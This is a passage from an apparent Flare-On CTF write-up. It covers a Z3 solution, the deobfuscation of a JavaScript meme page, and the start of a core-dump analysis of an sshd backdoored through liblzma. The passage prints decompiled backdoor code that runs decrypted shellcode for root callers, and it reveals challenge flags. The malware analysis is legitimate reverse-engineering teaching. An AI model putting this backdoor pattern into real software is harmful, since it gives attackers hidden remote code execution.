Getting back to solve, we eval the transformed constraint and add it to the solver:

1
2
if constraint is not None:  
    self.solver.add(eval(constraint))  

Finally, we use Z3 to solve the resulting system, and print the result:

1
2
3
4
5
self.solver.check()  
model = self.solver.model()  
             
    for var in self.flag:  
        print(chr(model[var].as_long()), end="")

Let’s use our class on the conditions and call the solve method:

1
2
3
4
if __name__ == "__main__":
	cond_solver = ConditionSolver(condition)  
  
    cond_solver.solve()

Running this prints rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f } Third challenge solved! This challenge was also excellent and very creative. I assume that there are easier ways to solve this challenge than using Z3, but after the previous challenge I really wanted to use it more :)

Challenge 4 - Meme Maker 3000

Initial Analysis

In this challenge, we are presented with an HTML file named mememaker3000.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html>
<head>
    <title>FLARE Meme Maker 3000</title>
    <style>
        h1 {
            font-family: cursive;
            text-align: center;
        }

        #controls {
            text-align: center;
        }

        #remake, #meme-template {
            font-family: cursive;
        }

        #meme-container {
            position: relative;
            width: 400px;
            margin: 20px auto;
        }

        #meme-image {
            width: 100%;
            display: block;
        }

        .caption {
            font-family: "Impact";
            color: white;
            text-shadow: -1px 0 black, 0 1px black, 1px 0 black, 0 -1px black;
            font-size: 24px;
            text-align: center;
            position: absolute;
            /* width: 80%; /* Adjust width as needed */
            padding: 10px;
            background-color: rgba(0, 0, 0, 0);
        }

        #caption1 { top: 10px; left: 50%; transform: translateX(-50%); }
        #caption2 { bottom: 10px; left: 50%; transform: translateX(-50%); }
        #caption2 { bottom: 10px; left: 50%; transform: translateX(-50%); }
    </style>
</head>
<body>
    <h1>FLARE Meme Maker 3000</h1>

    <div id="controls">
        <select id="meme-template">
            <option value="doge1.png">Doge</option>
            <option value="draw.jpg">Draw 25</option>
            <option value="drake.jpg">Drake</option>
            <option value="two_buttons.jpg">Two Buttons</option>
            <option value="boy_friend0.jpg">Distracted Boyfriend</option>
            <option value="success.jpg">Success</option>
            <option value="disaster.jpg">Disaster</option>
            <option value="aliens.jpg">Aliens</option>
        </select>
        <button id="remake">Remake</button>
    </div>

    <div id="meme-container">
        <img id="meme-image" src="" alt="">
        <div id="caption1" class="caption" contenteditable></div>
        <div id="caption2" class="caption" contenteditable></div>
        <div id="caption3" class="caption" contenteditable></div>
    </div>

    <script>
    ...lots of obfuscated JS...
    </script>
</body>
</html>

In the browser, the HTML looks as below.

meme_maker.png

Analyzing the JS

Let’s start reverse engineering the JS. Only some of the JS is shown, since it’s quite large. I started by using this online tool to deobfuscate the JS, which yielded the following result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
const a0p = a0b;
(function(a, b) {
    const o = a0b,
        c = a();
    while (true) {
        try {
            const d = parseInt(o(55277)) / 1 * (parseInt(o(14365)) / 2) + -parseInt(o(68223)) / 3 * (-parseInt(o(90066)) / 4) + parseInt(o(76024)) / 5 + -parseInt(o(73788)) / 6 + parseInt(o(58137)) / 7 * (parseInt(o(59039)) / 8) + -parseInt(o(97668)) / 9 + parseInt(o(26726)) / 10 * (-parseInt(o(11835)) / 11);
            if (d === b) break;
            else c.push(c.shift());
        } catch (e) {
            c.push(c.shift());
        }
    }
}(a0a, 356255));
const a0c = [...Array of concatenations of strings...],
    a0d = {
        doge1: [
            [a0p(52718), a0p(47974)],
            [a0p(52718), a0p(45164)]
        ],
        boy_friend0: [
            [a0p(52718), a0p(47974)],
            [a0p(93893), "60%"],
            [a0p(99225), a0p(99225)]
        ],
        draw: [
            ["30%", a0p(24688)]
        ],
        drake: [
            [a0p(32560), a0p(52718)],
            [a0p(13486), a0p(52718)]
        ],
        two_buttons: [
            [a0p(32560), a0p(3982)],
            ["2%", a0p(18173)]
        ],
        success: [
            [a0p(52718), a0p(86464)]
        ],
        disaster: [
            ["5%", a0p(86464)]
        ],
        aliens: [
            ["5%", "50%"]
        ]
    },
    a0e = {
        ...huge object...
    };

function a0a() {
    const u = [...huge array of strings...]
    a0a = function() {
        return u;
    };
    return a0a();
}

function a0f() {
    const q = a0p;
    document[q(52569) + "mentBy" + "Id"]("caption1")[q(3926)] = true, document[q(52569) + "mentBy" + "Id"](q(84859) + "n2")[q(3926)] = true, document[q(52569) + q(73335) + "Id"]("caption3").hidden = true;
    const a = document[q(52569) + q(73335) + "Id"]("meme-template");
    var b = a[q(15263)][q(95627)](".")[0];
    a0d[b][q(8136) + "h"](function(c, d) {
        const r = q;
        var e = document["getEle" + r(73335) + "Id"](r(84859) + "n" + (d + 1));
        e[r(3926)] = false, e.style[r(17269)] = a0d[b][d][0], e.style[r(88249)] = a0d[b][d][1], e[r(69466) + r(75179)] = a0c[Math[r(16279)](Math[r(28352)]() * (a0c[r(87117)] - 1))];
    });
}
a0f();

function a0b(a, b) {
    const c = a0a();
    return a0b = function(d, e) {
        d = d - 475;
        let f = c[d];
        return f;
    }, a0b(a, b);
}
const a0g = document[a0p(52569) + a0p(73335) + "Id"](a0p(7063) + a0p(61697)),
    a0h = document[a0p(52569) + a0p(73335) + "Id"](a0p(69287) + a0p(50870) + "er"),
    a0i = document[a0p(52569) + "mentBy" + "Id"](a0p(64291)),
    a0j = document[a0p(52569) + "mentBy" + "Id"](a0p(67415) + a0p(95610) + "e");
a0g[a0p(98091)] = a0e[a0j.value], a0j[a0p(51076) + a0p(95090) + "ener"](a0p(18165), () => {
    const s = a0p;
    a0g[s(98091)] = a0e[a0j[s(15263)]], a0g[s(2589)] = a0j[s(15263)], a0f();
}), a0i[a0p(51076) + "ntList" + "ener"]("click", () => {
    a0f();
});

function a0k() {
    const t = a0p,
        a = a0g[t(2589)].split("/")[t(2024)]();
    if (a !== Object[t(22981)](a0e)[5]) return;
    const b = a0l.textContent,
        c = a0m[t(69466) + t(75179)],
        d = a0n.textContent;
    if (a0c[t(77091) + "f"](b) == 14 && a0c[t(77091) + "f"](c) == a0c[t(87117)] - 1 && a0c[t(77091) + "f"](d) == 22) {
        var e = (new Date)[t(67914) + "e"]();
        while ((new Date)[t(67914) + "e"]() < e + 3e3) {}
        var f = d[3] + "h" + a[10] + b[2] + a[3] + c[5] + c[c[t(87117)] - 1] + "5" + a[3] + "4" + a[3] + c[2] + c[4] + c[3] + "3" + d[2] + a[3] + "j4" + a0c[1][2] + d[4] + "5" + c[2] + d[5] + "1" + c[11] + "7" + a0c[21][1] + b[t(89657) + "e"](" ", "-") + a[11] + a0c[4][t(39554) + t(91499)](12, 15);
        f = f[t(82940) + t(35943)](), alert(atob(t(85547) + t(19490) + "YXRpb2" + t(94350) + t(43672) + t(91799) + t(68036)) + f);
    }
}
const a0l = document[a0p(52569) + a0p(73335) + "Id"]("caption1"),
    a0m = document[a0p(52569) + a0p(73335) + "Id"](a0p(84859) + "n2"),
    a0n = document.getElementById(a0p(84859) + "n3");
a0l["addEve" + a0p(95090) + "ener"]("keyup", () => {
    a0k();
}), a0m[a0p(51076) + a0p(95090) + a0p(97839)](a0p(46837), () => {
    a0k();
}), a0n[a0p(51076) + a0p(95090) + a0p(97839)](a0p(46837), () => {
    a0k();
});

The a0c and a0e variables are a very large array and object, respectively, so let’s inspect them in the Chrome debugger:

chrome_debugger_1.png

chrome_debugger_2.png

chrome_debugger_3.png

The a0c array contains the various captions for the memes (e.g. we can see the string “If it ain’t broke, break it” from earlier). a0e contains the actual images. The fish.jpg string seems interesting (after all it has a MIME type of binary/red, and this is a reversing CTF :) ), but like the name suggests (fish + red = Red Herring), it’s not interesting. Let’s keep on reversing. If we look at the code more closely, we see a call to alert, which is interesting, since so far we haven’t seen this function used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function a0k() {
    const t = a0p,
        a = a0g[t(2589)].split("/")[t(2024)]();
    if (a !== Object[t(22981)](a0e)[5]) return;
    const b = a0l.textContent,
        c = a0m[t(69466) + t(75179)],
        d = a0n.textContent;
    if (a0c[t(77091) + "f"](b) == 14 && a0c[t(77091) + "f"](c) == a0c[t(87117)] - 1 && a0c[t(77091) + "f"](d) == 22) {
        var e = (new Date)[t(67914) + "e"]();
        while ((new Date)[t(67914) + "e"]() < e + 3e3) {}
        var f = d[3] + "h" + a[10] + b[2] + a[3] + c[5] + c[c[t(87117)] - 1] + "5" + a[3] + "4" + a[3] + c[2] + c[4] + c[3] + "3" + d[2] + a[3] + "j4" + a0c[1][2] + d[4] + "5" + c[2] + d[5] + "1" + c[11] + "7" + a0c[21][1] + b[t(89657) + "e"](" ", "-") + a[11] + a0c[4][t(39554) + t(91499)](12, 15);
        f = f[t(82940) + t(35943)](), alert(atob(t(85547) + t(19490) + "YXRpb2" + t(94350) + t(43672) + t(91799) + t(68036)) + f);
    }
}

The alert function is only called if the condition inside the if statement, a0c[t(77091) + "f"](b) == 14 && a0c[t(77091) + "f"](c) == a0c[t(87117)] - 1 && a0c[t(77091) + "f"](d) == 22, is true. Note that we also have another if statement before this statement, if (a !== Object[t(22981)](a0e)[5]) return; that may return from the function prematurely. If we set a breakpoint at the condition, it isn’t triggered, so let’s look at the code that calls a0k:

1
2
3
4
5
6
7
8
9
10
11
12
const a0l = document[a0p(0xcd59) + a0p(0x11e77) + 'Id']('captio' + 'n1')
, a0m = document[a0p(0xcd59) + a0p(0x11e77) + 'Id'](a0p(0x14b7b) + 'n2')
, a0n = document['getEle' + 'mentBy' + 'Id'](a0p(0x14b7b) + 'n3');
a0l['addEve' + a0p(0x17372) + 'ener']('keyup', () => {
    a0k();
}),
a0m[a0p(0xc784) + a0p(0x17372) + a0p(0x17e2f)](a0p(0xb6f5), () => {
    a0k();
}),
a0n[a0p(0xc784) + a0p(0x17372) + a0p(0x17e2f)](a0p(0xb6f5), () => {
    a0k();
}

Inspecting a0l, a0m, and a0n, we see that they are the first, second, and third captions for the meme, respectively (a0n doesn’t have any text since the above meme only has two captions):

captions.png

Evaluating the obfuscated calls to a0p yields:

1
2
3
4
5
6
7
8
9
a0l['addEventListener']('keyup', () => {
    a0k();
}),
a0m['addEventListener']('keyup', () => {
    a0k();
}),
a0n['addEventListener']('keyup', () => {
    a0k();
}

Huh… so a0k is called whenever the keyup event is triggered on either of the meme captions. If we press a key on one of the captions, our breakpoint inside a0k gets triggered, and we can examine the first condition:

1
2
 if (a !== Object[t(0x59c5)](a0e)[0x5])
                    return;

first_cond.png

Currently, the function will return since the condition is false. Guessing from the boy_friend0.jpg string, the meme picture probably needs to be the Distracted Boyfriend meme:

distracted_boyfriend.png

Now, the first condition is true, and so we continue to the second condition:

1
if (a0c[t(0x12d23) + 'f'](b) == 0xe && a0c[t(0x12d23) + 'f'](c) == a0c[t(0x1544d)] - 0x1 && a0c[t(0x12d23) + 'f'](d) == 0x16)

Inspecting the relevant variables:

second_condition.png

Removing the obfuscated calls:

1
if (a0c["indexOf"](b) == 0xe && a0c["indexOf"](c) == a0c[t(0x1544d)] - 0x1 && a0c["indexOf"](d) == 0x16)

The b, c, and d variables are the current captions. The indices of b, c, and d in the captions array are compared with constant indices, indicating that they need to be equal to some constant captions:

correct_captions.png

Let’s replace our current captions with the expected ones:

correct_meme.png

And we got the flag (and a nice meme :) )!

fourth_flag.png

This one was also a very nice challenge; At first the large amount of obfuscated JS looked very intimidating, though reversing it didn’t turn out to be too bad. I also got a bit stuck on the Red Herring binary (figuring out the Red Herring hint took me a bit of time :) )

Challenge 5 - sshd

Description:

1
Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you.

What should we analyze?

As the description suggests, we are given all of the files from a Linux system:

1
2
bin  boot  etc   home  lib64  mnt  root  sbin  sys  var  
dev  fmnt  lib  media  opt  proc   run  srv  tmp  usr

It isn’t immediately obvious what we need to do. Besides the name of the challenge, we aren’t given much info, so let’s try searching for files whose names contain sshd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(.venv) ➜  sshd find | grep sshd  
./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676  
./var/lib/systemd/deb-systemd-helper-enabled/sshd.service  
./var/lib/ucf/cache/:etc:ssh:sshd_config  
./sshd.7z  
./etc/pam.d/sshd  
./etc/ssh/sshd_config  
./etc/ssh/sshd_config.d  
./etc/systemd/system/sshd.service  
./usr/share/vim/vim90/syntax/sshdconfig.vim  
./usr/share/openssh/sshd_config.md5sum  
./usr/share/openssh/sshd_config  
./usr/share/man/man5/sshd_config.5.gz  
./usr/share/man/man8/sshd.8.gz  
./usr/sbin/sshd  
./run/sshd

The first file - a core dump from the SSH daemon - seems like a good place to conduct our analysis. Core dumps are files that contain the state of a program’s memory and registers at the time of a crash. To open the coredump in gdb, we use the following command:

1
gdb -q ./usr/sbin/sshd ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676

Once inside gdb, we run set sysroot ./ to tell gdb that the root of the system is in the current directory, allowing it to load all of the necessary libraries used by the binary. The state of the registers is shown below at the time of the crash is shown below:

reg_state.png

Hmm… what’s this about RSA_public_decrypt? Keep this in mind, since it will come up later. When analyzing a core dump, a good starting point is to look at the backtrace of the program, showing all function calls that led to the current point:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#0  0x0000000000000000 in ?? ()  
#1  0x00007f4a18c8f88f in ?? () from ./lib/x86_64-linux-gnu/liblzma.so.5  
#2  0x000055b46c7867c0 in ?? ()  
#3  0x000055b46c73f9d7 in ?? ()  
#4  0x000055b46c73ff80 in ?? ()  
#5  0x000055b46c71376b in ?? ()  
#6  0x000055b46c715f36 in ?? ()  
#7  0x000055b46c7199e0 in ?? ()  
#8  0x000055b46c6ec10c in ?? ()  
#9  0x00007f4a18e5824a in __libc_start_call_main (main=main@entry=0x55b46c6e7d50, argc=argc@entry=4, argv=argv@entry=0x7ffcc6602eb8)  
    at ../sysdeps/nptl/libc_start_call_main.h:58  
#10 0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=4, argv=0x7ffcc6602eb8, init=<optimized out>, fini=<optimized out>,  
    rtld_fini=<optimized out>, stack_end=0x7ffcc6602ea8) at ../csu/libc-start.c:360  
#11 0x000055b46c6ec621 in ?? ()

We’ll start with analyzing frame #1, the frame right before the current one. Note that this frame is located inside the liblzma library. To jump to frame 1, we run the command frame 1. Let’s inspect some of the instructions before the current one:

1
2
3
4
5
6
7
8
9
10
   0x7f4a18c8f87f: mov    eax,ebx  
   0x7f4a18c8f881: mov    rcx,r14  
   0x7f4a18c8f884: mov    rdx,r13  
   0x7f4a18c8f887: mov    rsi,rbp  
   0x7f4a18c8f88a: mov    edi,r12d  
   0x7f4a18c8f88d: call   rax  
=> 0x7f4a18c8f88f: mov    rbx,QWORD PTR [rsp+0xe8]  
   0x7f4a18c8f897: xor    rbx,QWORD PTR fs:0x28  
   0x7f4a18c8f8a0: jne    0x7f4a18c8f975  
   0x7f4a18c8f8a6: add    rsp,0xf8

The suspicious instruction is the one right before the current instruction pointer: call rax. Inspecting the value of rax, we can see exactly why the program crashed:

1
2
3
pwndbg> p/x $rax

$1 = 0x0

The function attempted to call a NULL pointer, which, of course, resulted in a segfault. To better understand why this was done, let’s find the guilty function in Ghidra and decompile it.

A backdoor? In liblzma?

We’ll open liblzma in Ghidra (the library is located in the path ./lib/x86_64-linux-gnu/liblzma.so.5), and then search for the bytes around the instruction pointer in frame 1 using the Search tool in Ghidra:

1
2
3
4
5
pwndbg> x/5wx $pc  
  
0x7f4a18c8f88f: 0x249c8b48 0x000000e8 0x1c334864 0x00002825  

0x7f4a18c8f89f: 0xcf850f00

search_tool_sshd.png

The only result we get is located inside the following function, which I renamed stack_frame_1 for clarity (some of the variables and functions are also renamed):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void stack_frame_1(undefined4 param_1,int *param_2,undefined8 param_3,undefined8 param_4,  
                  undefined4 param_5)  
  
{  
  __uid_t uid;  
  code *func_ptr;  
  void *__dest;  
  char *func_name;  
  long in_FS_OFFSET;  
  byte decryption_key [200];  
  long local_40;  
   
  local_40 = *(long *)(in_FS_OFFSET + 0x28);  
  uid = getuid();  
  func_name = "RSA_public_decrypt";  
  if (uid == 0) {  
    if (*param_2 == -0x3abf85b8) {  
      setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);  
      __dest = mmap((void *)0x0,(long)shellcode_size,7,0x22,-1,0);  
      func_ptr = (code *)memcpy(__dest,&shellcode,(long)shellcode_size);  
      decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);  
      (*func_ptr)();  
      setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);  
      decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);  
    }  
    func_name = "RSA_public_decrypt ";  
  }  
  func_ptr = (code *)dlsym(0,func_name);  
  (*func_ptr)(param_1,param_2,param_3,param_4,param_5);  
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {  
    return;  
  }  
  __stack_chk_fail();  
}

Now the reason for the crash is more clear. The function checks whether the uid of the current user is 0 (i.e. the user is root). In case they are, it modifies the func_name variable from RSA_public_decrypt to RSA_public_decrypt (note the extra space at the end). After the if statement, func_name is dlsym’d to dynamically resolve its address, and the returned address is called with some parameters. In our case, the binary ran as root, so we did go into the if statement. There’s no such symbol as RSA_public_decrypt inside the current binary, so the NULL pointer was called. This also explains the undefined symbol: RSA_public_decrypt string we saw inside the register r9 in stack frame #0. Inside the if statement, we see that if param_2 is equal to a certain constant (-0x3abf85b8), the following code is executed:

1
2
3
4
5
6
7
8
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);  
// shellcode and shellcode_size are constants in the data section
__dest = mmap((void *)0x0,(long)shellcode_size,7,0x22,-1,0);  
func_ptr = (code *)memcpy(__dest,&shellcode,(long)shellcode_size);
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);  
(*func_ptr)();  
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);  
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);  

This code executes an encrypted shellcode as follows:

  1. Decrypt the shellcode (which is stored in the data section) using an unknown algorithm (for now)

  2. Execute it by copying it into a RWX mmap()ed page

  3. Decrypt the shellcode again, so that reverse engineers won’t be able to see the decrypted shellcode in memory. At first glance, decrypting the shellcode again may seem strange, but in most stream ciphers (e.g. ChaCha20), encryption is the same as decryption (since in these ciphers, to encrypt a plaintext we XOR it with the keystream, and XOR is its own inverse) By the way, if all of this reminds you of a certain supply-chain attack related on SSH, you’re not wrong! This challenge is based on that backdoor.

    Decrypting the shellcode

    Our next step should be decrypting the shellcode. To do this, we’ll need to do three things:

  4. Extract the encrypted shellcode from memory

  5. Find the key used to encrypt the shellcode

  6. Reconstruct the encryption/decryption algorithm in C

    Finding the key

    We’ll begin with the second step. Here’s the decompiled code for setup_decryption_key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void setup_decryption_key(char *decryption_key,char *param_2,char *param_3,int zero)  
  
{  
  undefined4 uVar1;  
  undefined4 uVar2;  
  undefined4 uVar3;  
  int in_register_0000000c;  
  ulong uVar4;  
  undefined8 *puVar5;  
   
  *(undefined8 *)decryption_key = 0;  
  *(undefined8 *)(decryption_key + 0xb8) = 0;  
  puVar5 = (undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8);  
  for (uVar4 = (ulong)(((int)decryption_key -  
                       (int)(undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8)) +  
                       0xc0U >> 3); uVar4 != 0; uVar4 = uVar4 - 1) {  
    *puVar5 = 0;  
    puVar5 = puVar5 + 1;  
  }  
  uVar1 = *(undefined4 *)(param_2 + 4);  
  uVar2 = *(undefined4 *)(param_2 + 8);  
  uVar3 = *(undefined4 *)(param_2 + 0xc);  
  *(undefined4 *)(decryption_key + 0x48) = *(undefined4 *)param_2;  
  *(undefined4 *)(decryption_key + 0x4c) = uVar1;  
  *(undefined4 *)(decryption_key + 0x50) = uVar2;  
  *(undefined4 *)(decryption_key + 0x54) = uVar3;  
  uVar1 = *(undefined4 *)(param_2 + 0x14);  
  uVar2 = *(undefined4 *)(param_2 + 0x18);  
  uVar3 = *(undefined4 *)(param_2 + 0x1c);  
  *(undefined4 *)(decryption_key + 0x58) = *(undefined4 *)(param_2 + 0x10);  
  *(undefined4 *)(decryption_key + 0x5c) = uVar1;  
  *(undefined4 *)(decryption_key + 0x60) = uVar2;  
  *(undefined4 *)(decryption_key + 100) = uVar3;  
  *(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;  
  uVar1 = *(undefined4 *)(param_3 + 8);  
  *(undefined8 *)(decryption_key + 0x80) = 0x3320646e61707865;  
  *(undefined4 *)(decryption_key + 0x70) = uVar1;  
  *(undefined8 *)(decryption_key + 0x88) = 0x6b20657479622d32;  
  *(undefined4 *)(decryption_key + 0x90) = *(undefined4 *)param_2;  
  *(undefined4 *)(decryption_key + 0x94) = *(undefined4 *)(param_2 + 4);  
  *(undefined4 *)(decryption_key + 0x98) = *(undefined4 *)(param_2 + 8);  
  *(undefined4 *)(decryption_key + 0x9c) = *(undefined4 *)(param_2 + 0xc);  
  *(undefined4 *)(decryption_key + 0xa0) = *(undefined4 *)(param_2 + 0x10);  
  *(undefined4 *)(decryption_key + 0xa4) = *(undefined4 *)(param_2 + 0x14);  
  *(undefined4 *)(decryption_key + 0xa8) = *(undefined4 *)(param_2 + 0x18);  
  uVar1 = *(undefined4 *)(param_2 + 0x1c);  
  *(undefined4 *)(decryption_key + 0xb0) = 0;  
  *(undefined4 *)(decryption_key + 0xac) = uVar1;  
  *(undefined4 *)(decryption_key + 0xb4) = *(undefined4 *)param_3;  
  *(undefined4 *)(decryption_key + 0xb8) = *(undefined4 *)(param_3 + 4);  
  *(undefined4 *)(decryption_key + 0xbc) = *(undefined4 *)(param_3 + 8);  
  *(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;  
  uVar1 = *(undefined4 *)(param_3 + 8);  
  *(int *)(decryption_key + 0xb0) = zero;  
  *(undefined4 *)(decryption_key + 0x70) = uVar1;  
  *(int *)(decryption_key + 0xb4) = in_register_0000000c + *(int *)(decryption_key + 0x68);  
  *(ulong *)(decryption_key + 0x78) = CONCAT44(in_register_0000000c,zero);  
  *(undefined8 *)(decryption_key + 0x40) = 0x40;  
  return;  
}

This looks a bit complicated, but the actual code of this function doesn’t really matter; we can simply copy it (with some slight changes) into a new C program and run it. To do this, we’ll need to figure out the values of the arguments this function is called with. Recall that setup_decryption_key is called as follows:

1
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0); 

The decryption_key variable is the output variable. param_2 is a pointer passed to stack_frame_1, so we need to find its value. Inspecting the assembly around the call to setup_decryption_key, we see that param_2 is stored in RBP (because of the first couple of instructions, which set up the second and third argument to the function):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
                       LAB_001098c0                                    XREF[1]:     0010986e(j)    
        001098c0 4c 8d 5d 24     LEA        R11,[RBP + 0x24]  
        001098c4 4c 8d 55 04     LEA        R10,[RBP + 0x4]  
        001098c8 31 c9           XOR        ECX,ECX  
        001098ca 4c 8d 7c        LEA        R15=>decryption_key,[RSP + 0x20]  
                 24 20  
        001098cf 4c 89 da        MOV        RDX,R11  
        001098d2 4c 89 d6        MOV        func_name,R10  
        001098d5 4c 89 5c        MOV        qword ptr [RSP + local_110],R11  
                 24 18  
        001098da 4c 89 ff        MOV        RDI,R15  
        001098dd 4c 89 54        MOV        qword ptr [RSP + local_118],R10  
                 24 10  
                             param_2 = 0xc5407a48  
        001098e2 e8 09 fb        CALL       setup_decryption_key                             undefined setup_decryption_key(c  
                 ff ff

The value of RBP isn’t changed later in the function, so it should still have the value of param_2. We can use this fact to dump the contents of param_2 using gdb (I dumped 0x1000 bytes, just to be on the safe side):

1
dump binary memory param_2_dump.bin $rbp $rbp+0x1000

The contents of param_2 will now be saved under the file param_2.bin. We can now run the decompiled code (with some slight modifications) of setup_decryption_key with the arguments it was called with in the core dump. This is done with the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdio.h>  
#include <stdbool.h>  
#include <string.h>  

#define KEY_SIZE (200)
#define SHELLCODE_SIZE (0xf96)  
#define PARAM_2_SIZE (0x1000)  
  
typedef unsigned int uint;  
typedef unsigned int undefined4;  
typedef unsigned long ulong;  
typedef unsigned long undefined8;  
typedef char byte;  
  
char key[KEY_SIZE];  
char shellcode[SHELLCODE_SIZE];  
char param_2[PARAM_2_SIZE];  
  
void read_param_2() {  
  FILE *fp = fopen("./data/param_2_dump.bin", "rb");  
  fread(param_2, PARAM_2_SIZE, 1, fp);  
  fclose(fp);  
}

void dump_key() {  
  FILE *fp = fopen("./key", "wb");  
  fwrite(key, KEY_SIZE, 1, fp);  
  fclose(fp);  
}
  
// Copied from Ghidra  
void setup_decryption_key(char *decryption_key,char *param_2,char *param_3,int zero)  
  
{  
  undefined4 uVar1;  
  undefined4 uVar2;  
  undefined4 uVar3;  
  int in_register_0000000c = 0;  
  ulong uVar4;  
  undefined8 *puVar5;  
   
  *(undefined8 *)decryption_key = 0;  
  *(undefined8 *)(decryption_key + 0xb8) = 0;  
  puVar5 = (undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8);  
  //for (uVar4 = (ulong)(((uint)decryption_key -  
  //                     (uint)(undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8)) +  
  //                     0xc0U >> 3); uVar4 != 0; uVar4 = uVar4 - 1) {  
  //  *puVar5 = 0;  
  //  puVar5 = puVar5 + 1;  
  //}  
  memset(decryption_key, 0, 8);  
  uVar1 = *(undefined4 *)(param_2 + 4);  
  uVar2 = *(undefined4 *)(param_2 + 8);  
  uVar3 = *(undefined4 *)(param_2 + 0xc);  
  *(undefined4 *)(decryption_key + 0x48) = *(undefined4 *)param_2;  
  *(undefined4 *)(decryption_key + 0x4c) = uVar1;  
  *(undefined4 *)(decryption_key + 0x50) = uVar2;  
  *(undefined4 *)(decryption_key + 0x54) = uVar3;  
  uVar1 = *(undefined4 *)(param_2 + 0x14);  
  uVar2 = *(undefined4 *)(param_2 + 0x18);  
  uVar3 = *(undefined4 *)(param_2 + 0x1c);  
  *(undefined4 *)(decryption_key + 0x58) = *(undefined4 *)(param_2 + 0x10);  
  *(undefined4 *)(decryption_key + 0x5c) = uVar1;  
  *(undefined4 *)(decryption_key + 0x60) = uVar2;  
  *(undefined4 *)(decryption_key + 100) = uVar3;  
  *(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;  
  uVar1 = *(undefined4 *)(param_3 + 8);  
  *(undefined8 *)(decryption_key + 0x80) = 0x3320646e61707865;  
  *(undefined4 *)(decryption_key + 0x70) = uVar1;  
  *(undefined8 *)(decryption_key + 0x88) = 0x6b20657479622d32;  
  *(undefined4 *)(decryption_key + 0x90) = *(undefined4 *)param_2;  
  *(undefined4 *)(decryption_key + 0x94) = *(undefined4 *)(param_2 + 4);  
  *(undefined4 *)(decryption_key + 0x98) = *(undefined4 *)(param_2 + 8);  
  *(undefined4 *)(decryption_key + 0x9c) = *(undefined4 *)(param_2 + 0xc);  
  *(undefined4 *)(decryption_key + 0xa0) = *(undefined4 *)(param_2 + 0x10);  
  *(undefined4 *)(decryption_key + 0xa4) = *(undefined4 *)(param_2 + 0x14);  
  *(undefined4 *)(decryption_key + 0xa8) = *(undefined4 *)(param_2 + 0x18);  
  uVar1 = *(undefined4 *)(param_2 + 0x1c);  
  *(undefined4 *)(decryption_key + 0xb0) = 0;  
  *(undefined4 *)(decryption_key + 0xac) = uVar1;  
  *(undefined4 *)(decryption_key + 0xb4) = *(undefined4 *)param_3;  
  *(undefined4 *)(decryption_key + 0xb8) = *(undefined4 *)(param_3 + 4);  
  *(undefined4 *)(decryption_key + 0xbc) = *(undefined4 *)(param_3 + 8);  
  *(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;  
  uVar1 = *(undefined4 *)(param_3 + 8);  
  *(int *)(decryption_key + 0xb0) = zero;  
  *(undefined4 *)(decryption_key + 0x70) = uVar1;  
  *(int *)(decryption_key + 0xb4) = in_register_0000000c + *(int *)(decryption_key + 0x68);  
  //*(ulong *)(decryption_key + 0x78) = CONCAT44(in_register_0000000c,zero);  
  *(undefined8 *)(decryption_key + 0x40) = 0x40;  
  return;  
}  
  
int main() {  
  memset(key, 0, KEY_SIZE);  
  read_param_2();  
